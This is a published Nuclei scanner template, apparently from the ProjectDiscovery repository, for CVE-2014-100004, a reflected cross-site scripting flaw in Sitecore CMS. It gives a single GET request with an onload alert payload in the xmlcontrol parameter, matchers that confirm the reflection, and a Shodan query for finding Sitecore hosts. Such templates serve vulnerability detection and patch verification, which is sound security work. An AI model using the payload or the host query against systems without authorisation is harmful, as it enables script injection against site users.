CVE-2014-100004: Sitecore CMS - Cross-Site Scripting

2025-08-01 Sitecore CMS PoC Public

Description

Sitecore CMS contains a cross-site scripting vulnerability via the "special way" of displaying XML Controls directly, which allows for a Cross Site Scripting Attack.

PoC

id: CVE-2014-100004

info:
  name: Sitecore CMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Sitecore CMS contains a cross-site scripting vulnerability via the "special way" of displaying XML Controls directly, which allows for a Cross Site Scripting Attack.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to a patched version of Sitecore CMS or apply vendor security updates.
  reference:
    - https://vulners.com/securityvulns/SECURITYVULNS:DOC:30273
    - https://web.archive.org/web/20151016072340/http://www.securityfocus.com/archive/1/530901/100/0/threaded
    - https://nvd.nist.gov/vuln/detail/CVE-2014-100004
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-100004
    epss-score: 0.02016
    epss-percentile: 0.79918
    cwe-id: CWE-79
    cpe: cpe:2.3:a:sitecore:sitecore.net:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sitecore
    product: sitecore.net
    shodan-query: html:"Sitecore"
  tags: cve,cve2014,xss,sitecore,cms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?xmlcontrol=body%20onload=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<body onload=alert(document.domain) />"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c1b205a0cf60246808e22d88e32b7f1797daee8168cef949261d6ed408b5dc690220256174e7e47c17ecd1ada447532a12806be291cc7706411218e03aa4f6db7256:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-100004.yaml

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